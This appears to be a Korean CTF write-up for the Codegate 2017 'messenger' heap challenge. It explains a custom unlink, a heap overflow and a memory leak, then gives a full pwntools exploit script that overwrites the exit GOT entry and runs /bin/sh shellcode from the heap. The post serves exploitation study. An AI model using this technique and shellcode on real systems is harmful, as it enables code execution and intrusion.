Pwnable/CTF

codegate 2017 messenger

HSr00t 2017. 3. 8. 21:06




(풀이를 엄청 봣다 ..)

멋있는 시작화면이 나온다.


이렇게 메뉴를 선택해서 나오는 문제를 보면 공통점이 딱 하나 있다.  

그 공통점은 수정하는 부분에서 오버플로우가 일어난다는 점과 출력하는 부분에서 메모리 릭 취약점이 있다는 것 이다.




아이다를 보면 LEAVE REMOVE 등 다 이름을 착하게 정해주었다. 감동 ..

보면 직접적으로 MALLOC() 이런게 없다 그러니 여기서는 커스텀 MALLOC를 사용한다는 것을 알수있다. 


이 Leave를 분석해보면 별거없다. 딱 하나 특징이 있다면 FREE를 안해도 FD와 BK가 있다는 점 밖에없다.



REMOVE(free) 를 하는부분을 보면 REMOVE도 커스텀 FREE 함수를 쓴다.



커스텀 FREE 부분을보면 Unlink를 하는것을 볼 수 있다. FD + 16 = BK , BK + 8 = FD 이런식으로  unlink를 진행한다.



Change(수정) 부분을 보면 위에서 적은 공통점처럼 Heap Overflow 취약점이 있다.

size를 입력을 받는데 그 사이즈에 제한을 주지 않았다. 


그 아래 VIEW(출력) 부분에서 Memory leak이 가능하다.



Change로 오버플로우를 일으켜 A를 쭉 63개 + NULL(엔터 값) 이 들어가고 출력을 시키면 메모리 릭 으로 인해 0X00603018(첫 번째 청크 사이즈 주소) 가 출력이 된다.




LEAK Success


그리고 위쪽에서 커스텀 FREE를 사용함으로써 UNLINK를 시키는데 여기서 Unlink로 익스플로잇을 짤 수 있다.


######################################

+ 0x60 shellcode 시작부분 -> \x90*20(A*20) #Nop Sled


+ 0x78 진짜 쉘코드 시작부분


+ 0x8d 더미 4개로 덮인주소 (\x90*5)


+ 0x8f JMP SHELLCODE 한개 출력 

######################################


위에 있는 4개가 0x603018(LEAK 된 HEAP 주소) 와의 오프셋 이다


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
p=remote("192.168.10.102",9001)
 
shellcode ="\x90"*20+'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
 
exit_got=0x602070
 
def Leave(size,data):
        p.recvuntil('>> ')
        p.sendline("L")
        p.recvuntil(': ')
        p.sendline(str(size))
        p.recvuntil(': ')
        p.sendline(str(data))
 
def Remove(index):
        print p.recvuntil('>> ')
        p.sendline("R")
        print p.recvuntil(': ')
        p.sendline(str(index))
 
def Change(index,size,data):
        print p.recvuntil('>> ')
        p.sendline('C')
        p.recvuntil(': '#index
        p.sendline(str(index))
        p.recvuntil(': '#size
        p.sendline(str(size))
        p.recvuntil(': '#data
        p.sendline(str(data))
 
def View(index):
        global Heap_leak
        print p.recvuntil('>> ')
        p.sendline("V")
        print p.recvuntil(': ')
        p.sendline(str(index))
        Heap_leak=p.recv(100)[64:68]
 
def Quit():
        print p.recvuntil('>> ')
        p.sendline("\n")
Leave(32,"AAAA")
print "Change Chapter[1]"
Change(0,72,"B"*63)
View(0)
Heap_leak=u32(Heap_leak)
print hex(Heap_leak)
 
test_payload="B"*48
test_payload+=p64(0x232)
test_payload+=p64(0x0)
test_payload+=p64(exit_got-0x8)
Change(0,96,test_payload)
 
Leave(32,"BBBB")
 
 
Heap_shellcode=asm("mov rax, "+hex(Heap_leak+0x60),arch='amd64',os='linux')
Heap_shellcode+=asm("call rax",arch='amd64',os='linux')
payload=shellcode+"\x90"*7+Heap_shellcode
print "Start EXploit"
Change(1,96,payload)
print "[*] Exploit Success"
Remove(1)
print "[*] UNlink Success"
Quit()
p.interactive()
 
 
cs


2번 째 청크에는 NopSled


3 번째 청크 앞에 쪽에 Heap_shellcode를 넣으면 그 Heap_shellcode가 실행된다. -> heap_leak + 0x60은 위에 오프셋목록을 보면 됨


exit_got-0x8 해서 fd주소때문에 3번쨰 청크 앞에쪽에 납두면 된다. 


그냥 쉘코드를 넣으면 될텐데 저렇게 하는이유는 Protostar heap3 를 풀어봣다면 Unlink를 할 떄 쉘코드가 짤려서 Heap_shellcode 처럼 간단하게 쉘 코드를 짠적이 있을것이다. 그것이랑 같다 !


그리고 익스코드를 보면 - 0x8를 하는데 64bit는 - 0x8이 아닌 0x16을 해줘야한다. 

하지만 이 문제에서는 커스텀 free 함수를 쓰면서 - 0x8로 지정한걸 볼 수 있다.